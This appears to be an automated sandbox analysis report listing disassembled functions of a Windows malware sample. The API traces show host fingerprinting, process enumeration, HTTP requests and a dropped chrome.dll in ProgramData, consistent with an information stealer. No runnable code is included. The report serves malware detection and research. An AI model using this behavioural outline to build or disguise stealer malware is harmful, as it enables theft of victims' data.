Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTimememcmp
String ID:
API String ID: 257331557-0
Opcode ID: badd0b16bebf4880951e4b22bfce0ef8fa2e65dd17f4c9611185429b7f8720ee
Instruction ID: 5dfe8597df33c788f82f0551f3ba8d02d272d38f024b71a471f8e3c501a58f6f
Opcode Fuzzy Hash: badd0b16bebf4880951e4b22bfce0ef8fa2e65dd17f4c9611185429b7f8720ee
Instruction Fuzzy Hash: A9E134729111089BCB04FBA5DC66EEE7339AF14314F40855EF11672091EF387A9CCB6A

Function 00411C60 Relevance: 6.1, APIs: 2, Strings: 1, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 00417690: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 004176D2
Part of subcall function 00417690: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041770F
Part of subcall function 00417690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417793
Part of subcall function 00417690: HeapAlloc.KERNEL32(00000000), ref: 0041779A

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 00417820: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417834
Part of subcall function 00417820: HeapAlloc.KERNEL32(00000000), ref: 0041783B

Part of subcall function 00417950: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0041DEF0,000000FF,?,00411EE9,00000000,?,02CC5DF8,00000000,?), ref: 00417982
Part of subcall function 00417950: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0041DEF0,000000FF,?,00411EE9,00000000,?,02CC5DF8,00000000,?), ref: 00417989

Part of subcall function 004179E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417A10
Part of subcall function 004179E0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417A17
Part of subcall function 004179E0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00417A2F

Part of subcall function 00417A70: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416CCB), ref: 00417AA0
Part of subcall function 00417A70: HeapAlloc.KERNEL32(00000000,?,?,?,00416CCB), ref: 00417AA7
Part of subcall function 00417A70: GetComputerNameA.KERNEL32(?,00000104), ref: 00417ABF

Part of subcall function 00417B10: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DE8,00000000,?), ref: 00417B40
Part of subcall function 00417B10: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DE8,00000000,?), ref: 00417B47
Part of subcall function 00417B10: GetLocalTime.KERNEL32(?,?,?,?,?,00420DE8,00000000,?), ref: 00417B54
Part of subcall function 00417B10: wsprintfA.USER32 ref: 00417B83

Part of subcall function 00417BC0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,02CC54B0,00000000,?,00420DF8,00000000,?,00000000,00000000), ref: 00417BF3
Part of subcall function 00417BC0: HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,02CC54B0,00000000,?,00420DF8,00000000,?,00000000,00000000,?), ref: 00417BFA
Part of subcall function 00417BC0: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,02CC54B0,00000000,?,00420DF8,00000000,?,00000000,00000000,?), ref: 00417C0D

Part of subcall function 00417C90: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,02CC54B0,00000000,?,00420DF8,00000000,?,00000000,00000000), ref: 00417CC5

Part of subcall function 00417D20: GetKeyboardLayoutList.USER32(00000000,00000000,004205B7), ref: 00417D71
Part of subcall function 00417D20: LocalAlloc.KERNEL32(00000040,?), ref: 00417D89
Part of subcall function 00417D20: GetKeyboardLayoutList.USER32(?,00000000), ref: 00417D9D
Part of subcall function 00417D20: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417DF2
Part of subcall function 00417D20: LocalFree.KERNEL32(00000000), ref: 00417EB2

Part of subcall function 00417F10: GetSystemPowerStatus.KERNEL32(?), ref: 00417F3D

GetCurrentProcessId.KERNEL32(00000000,?,02CC5E18,00000000,?,00420E0C,00000000,?,00000000,00000000,?,02CC55E8,00000000,?,00420E08,00000000), ref: 004122CE

Part of subcall function 00419600: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00419614
Part of subcall function 00419600: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00419635
Part of subcall function 00419600: CloseHandle.KERNEL32(00000000), ref: 0041963F

Part of subcall function 00417F90: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417FC7
Part of subcall function 00417F90: HeapAlloc.KERNEL32(00000000), ref: 00417FCE
Part of subcall function 00417F90: RegOpenKeyExA.KERNEL32(80000002,02CC1C90,00000000,00020119,?), ref: 00417FEE
Part of subcall function 00417F90: RegQueryValueExA.KERNEL32(?,02CC5DB8,00000000,00000000,000000FF,000000FF), ref: 0041800F
Part of subcall function 00417F90: RegCloseKey.ADVAPI32(?), ref: 00418022

Part of subcall function 004180F0: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00418159
Part of subcall function 004180F0: GetLastError.KERNEL32 ref: 00418168

Part of subcall function 00418060: GetSystemInfo.KERNEL32(00420E14), ref: 00418090
Part of subcall function 00418060: wsprintfA.USER32 ref: 004180A6

Part of subcall function 00418290: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,02CC5528,00000000,?,00420E14,00000000,?,00000000), ref: 004182C0
Part of subcall function 00418290: HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,02CC5528,00000000,?,00420E14,00000000,?,00000000,00000000), ref: 004182C7
Part of subcall function 00418290: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 004182E8
Part of subcall function 00418290: __aulldiv.LIBCMT ref: 00418302
Part of subcall function 00418290: __aulldiv.LIBCMT ref: 00418310
Part of subcall function 00418290: wsprintfA.USER32 ref: 0041833C

Part of subcall function 00418950: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E10,00000000,?), ref: 004189BF
Part of subcall function 00418950: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420E10,00000000,?), ref: 004189C6
Part of subcall function 00418950: wsprintfA.USER32 ref: 004189E0

Part of subcall function 004184B0: RegOpenKeyExA.KERNEL32(00000000,02CC3558,00000000,00020019,00000000,004205BE), ref: 00418534

Part of subcall function 004184B0: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 004185B6
Part of subcall function 004184B0: wsprintfA.USER32 ref: 004185E9
Part of subcall function 004184B0: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041860B
Part of subcall function 004184B0: RegCloseKey.ADVAPI32(00000000), ref: 0041861C
Part of subcall function 004184B0: RegCloseKey.ADVAPI32(00000000), ref: 00418629

Part of subcall function 00418810: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205BF), ref: 0041885A
Part of subcall function 00418810: Process32First.KERNEL32(?,00000128), ref: 0041886E
Part of subcall function 00418810: Process32Next.KERNEL32(?,00000128), ref: 00418883
Part of subcall function 00418810: CloseHandle.KERNEL32(?), ref: 004188F1

lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 004128AB

Strings

aA, xrefs: 004128D4, 00412902, 004128D7

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$ComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID: aA
API String ID: 2204142833-2414573348
Opcode ID: 4620e36a10f7a5a598fb0a1a1229184c3baad3b87cc3beda2ebe37e6ef882961
Instruction ID: 4f79722ab1709daed6719e9a1a5ed0a8a89ced1591e892962b9c5cf472760468
Opcode Fuzzy Hash: 4620e36a10f7a5a598fb0a1a1229184c3baad3b87cc3beda2ebe37e6ef882961
Instruction Fuzzy Hash: 9872ED72D15058AACB19FB91ECA1EEE733DAF10314F5042DFB11662056EF343B98CA69

Function 00416D93 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,02CBEB50,?,004210F4,?,00000000,?,004210F8,?,00000000,00420AF3), ref: 00416D6A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416D88
CloseHandle.KERNEL32(00000000), ref: 00416D99
Sleep.KERNEL32(00001770), ref: 00416DA4
CloseHandle.KERNEL32(?,00000000,?,02CBEB50,?,004210F4,?,00000000,?,004210F8,?,00000000,00420AF3), ref: 00416DBA
ExitProcess.KERNEL32 ref: 00416DC2

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: d5e1fa89fe7d5108738a6f3c91913c7127e375a878f495bce87c5ec22f141b40
Instruction ID: 8f12dcb365d2fb80f233d5f720f30c8ba2b1eb9bf2b810d0bdce41a90926edfe
Opcode Fuzzy Hash: d5e1fa89fe7d5108738a6f3c91913c7127e375a878f495bce87c5ec22f141b40
Instruction Fuzzy Hash: 46F08230B48219EFEB00BBA0EC0ABFE7375AF04705F15061BB516A51D0DBB89681CA5B

Function 6C8AB1F0 Relevance: 5.8, APIs: 2, Strings: 1, Instructions: 528COMMON

Download Yara Rule

APIs

closesocket.WS2_32(?), ref: 6C8AB783

Strings

assertion failed: size > 0, xrefs: 6C8ABA6E

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID: closesocket
String ID: assertion failed: size > 0
API String ID: 2781271927-2799669176
Opcode ID: 6b82c99b46a981713695e8beac04da64129293636a204e9bf9a4cd5bf7da51f6
Instruction ID: 02558f4cdb3b98bd6a636ceb6d806f642ecf6c399605b21f0b2727045406a58e
Opcode Fuzzy Hash: 6b82c99b46a981713695e8beac04da64129293636a204e9bf9a4cd5bf7da51f6
Instruction Fuzzy Hash: 114236B5A00F459FD361CF29C880B93B7F1BF9A314F108A1DD8AA57A52DB71B585CB80

Function 61E4928D Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 309fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 61E4947D

Strings

winOpen, xrefs: 61E49605
exclusive, xrefs: 61E493FC

Memory Dump Source

Source File: 00000000.00000002.2771208385.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2771175630.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771281770.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771316744.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771353251.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771383427.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771478338.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_5BQwrSLxIZ.jbxd

Similarity

API ID: CreateFile
String ID: exclusive$winOpen
API String ID: 823142352-1568912604
Opcode ID: fbefb8bb2e50369de4768ffbb59d9952fc6cfb2942c402bc5831c395ef54ee7e
Instruction ID: ddd978882cd5270fa8f94071a9300b4b805ea89cb158bd2aa8a7dfbc70792811
Opcode Fuzzy Hash: fbefb8bb2e50369de4768ffbb59d9952fc6cfb2942c402bc5831c395ef54ee7e
Instruction Fuzzy Hash: B4D1A2709047499FDB10DFA9D58478EBBF0AF88318F208929E868EB394E774D985CF41

Function 00415440 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 004062D0: InternetOpenA.WININET(00420DFF,00000001,00000000,00000000,00000000), ref: 00406331
Part of subcall function 004062D0: StrCmpCA.SHLWAPI(?,02CC7220), ref: 00406353
Part of subcall function 004062D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
Part of subcall function 004062D0: HttpOpenRequestA.WININET(00000000,GET,?,02CC6548,00000000,00000000,00400100,00000000), ref: 004063D5
Part of subcall function 004062D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
Part of subcall function 004062D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415478

Strings

ERROR, xrefs: 0041546A
ERROR, xrefs: 004154C3

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 243c3ba6e4d083e298a404233cb39cc9641087610bb8f65c24bf72cb52f6143f
Instruction ID: 220a7b172e2a8d17d187597bbcd3bb12c7c2fc56be07e285a6b23909b802432f
Opcode Fuzzy Hash: 243c3ba6e4d083e298a404233cb39cc9641087610bb8f65c24bf72cb52f6143f
Instruction Fuzzy Hash: 6E118630A01048ABCB14FF65EC52EED33399F50354F40456EF90A5B4A2EF38AB95C65E

Function 004108ED Relevance: 4.7, APIs: 3, Instructions: 223fileCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,02CBED40), ref: 00410922
StrCmpCA.SHLWAPI(00000000,02CBED90), ref: 00410B79
StrCmpCA.SHLWAPI(00000000,02CBEE00), ref: 00410A0C

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

DeleteFileA.KERNEL32(C:\ProgramData\chrome.dll), ref: 00410C35

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: DeleteFilelstrcpy
String ID:
API String ID: 273707478-0
Opcode ID: 08a2acfef8def6cf4b6e3978a18cd7c05f1c9534e109d30008686b3a92e064b6
Instruction ID: 55ebfe5bea072269aba33a565d8c59cbe62f1375a0798b8cb4aa3666f491b8e5
Opcode Fuzzy Hash: 08a2acfef8def6cf4b6e3978a18cd7c05f1c9534e109d30008686b3a92e064b6
Instruction Fuzzy Hash: EA916471B001089FCB18EF65DA95EED77B6EF94304F10816EE40A9F391DB349A49CB86

Function 6C8E2BA0 Relevance: 4.6, APIs: 3, Instructions: 93networkCOMMON

Download Yara Rule

APIs

connect.WS2_32(?,?,00000010), ref: 6C8E2C7E

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID: connect
String ID:
API String ID: 1959786783-0
Opcode ID: 918c623052263b998e11dc57e4f8e2210511072b76d391a9abbe6f78614f6c66
Instruction ID: 525b0352c3c9a43ab2da4f67d7ef8f58011d3c9a81436ede249588e25779c885
Opcode Fuzzy Hash: 918c623052263b998e11dc57e4f8e2210511072b76d391a9abbe6f78614f6c66
Instruction Fuzzy Hash: E531E57090924ADFCB10CF68C684A9EBBF1FF5A304F15885AE89897741E335D985CB60

Function 00419850 Relevance: 4.5, APIs: 3, Instructions: 48fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,004108DC,C:\ProgramData\chrome.dll), ref: 00419871
WriteFile.KERNEL32(000000FF,004108DC,?,004108DC,00000000,?,004108DC), ref: 004198A3

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: File$CreateWrite
String ID:
API String ID: 2263783195-0
Opcode ID: 87033afd89575812e055b209c04b4c4260860767bd957b8fe466ea0b568eb40e
Instruction ID: c00870ae4f46cd9ec0fbaadc8d13ab59566e93f84a6b66ec8604c729da6f8a20
Opcode Fuzzy Hash: 87033afd89575812e055b209c04b4c4260860767bd957b8fe466ea0b568eb40e
Instruction Fuzzy Hash: BE11C830A08248BBDB10EFA0DC15BDE7B795F05314F044199F655A72C1DB346B45C7DA

Function 00417A70 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416CCB), ref: 00417AA0
HeapAlloc.KERNEL32(00000000,?,?,?,00416CCB), ref: 00417AA7
GetComputerNameA.KERNEL32(?,00000104), ref: 00417ABF

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: bd395e3c10b2e9752f846d4f55ec5ddb2c88ed80ced139acaed9e3128f7bbde2
Instruction ID: 80df14e24d55d9e77394b8c0389cbc6422d62e125eda11eaf6ba37d1415b345b
Opcode Fuzzy Hash: bd395e3c10b2e9752f846d4f55ec5ddb2c88ed80ced139acaed9e3128f7bbde2
Instruction Fuzzy Hash: D60181B1E08359ABC700CF98DD45BAFBBB8FB04751F10021BF505E2280E7B85A408BA2

Function 00419600 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00419614
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00419635
CloseHandle.KERNEL32(00000000), ref: 0041963F

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 38bec2c2861d1061a7e63eb7caa5b35248e167512e01a3ac08b79c0d7adc0fad
Instruction ID: 8add19ce2c94a4db983c162c5ea883653429c1f160fd421327fd5bffa921fc45
Opcode Fuzzy Hash: 38bec2c2861d1061a7e63eb7caa5b35248e167512e01a3ac08b79c0d7adc0fad
Instruction Fuzzy Hash: 95F03A7490120CEFDB14DBA4DD4AFEA7778BB08300F004599FA1997280E6B06E84CB95

Function 00401110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00416CBC), ref: 0040112B
VirtualAllocExNuma.KERNEL32(00000000,?,?,00416CBC), ref: 00401132
ExitProcess.KERNEL32 ref: 00401143

